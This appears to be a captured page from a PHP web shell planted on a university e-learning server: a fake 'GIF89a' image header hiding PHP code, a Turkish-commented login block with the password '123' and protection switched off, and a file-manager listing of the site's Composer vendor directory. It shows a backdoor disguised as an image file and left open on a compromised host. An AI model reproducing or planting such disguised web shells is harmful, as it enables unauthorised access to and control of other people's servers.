GIF89a;
# Konfigurasyon
$sayfaSifreleme ='0'; # 1 acik , 0 kapali
$kullaniciAdi = '123';
$sifre = '123';
# yetki kontrol fonksiyonu
function yetkiKontrol($kullaniciAdi,$sifre) {
if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") {
header('WWW-Authenticate: Basic realm="x"');
die(header('HTTP/1.0 401 Unauthorized'));
}
}
# Sayfa Sifreleme aciksa
if($sayfaSifreleme =='1') {
# Veri ve sifre kontrolu
yetkiKontrol($kullaniciAdi,$sifre);
}
?>
eclass.unmer.ac.id
| Name |
Size |
Modified |
Perms |
Actions |
| ClassLoader.php |
15.99 KB |
April 30 2025 14:03:02. |
0644 |
|
|
| InstalledVersions.php |
16.58 KB |
April 30 2025 14:03:02. |
0644 |
|
|
| LICENSE |
1.04 KB |
April 30 2025 14:03:02. |
0644 |
|
|
| autoload_classmap.php |
304.28 KB |
April 30 2025 14:03:02. |
0644 |
|
|
| autoload_files.php |
450 bytes |
April 30 2025 14:03:02. |
0644 |
|
|
| autoload_namespaces.php |
223 bytes |
April 30 2025 14:03:02. |
0644 |
|
|
| autoload_psr4.php |
786 bytes |
April 30 2025 14:03:02. |
0644 |
|
|
| autoload_real.php |
1.63 KB |
April 30 2025 14:03:02. |
0644 |
|
|
| autoload_static.php |
329.10 KB |
April 30 2025 14:03:02. |
0644 |
|
|
| installed.json |
78.95 KB |
April 30 2025 14:03:02. |
0644 |
|
|
| installed.php |
12.73 KB |
April 30 2025 14:03:02. |
0644 |
|
|
| platform_check.php |
925 bytes |
April 30 2025 14:03:02. |
0644 |
|
|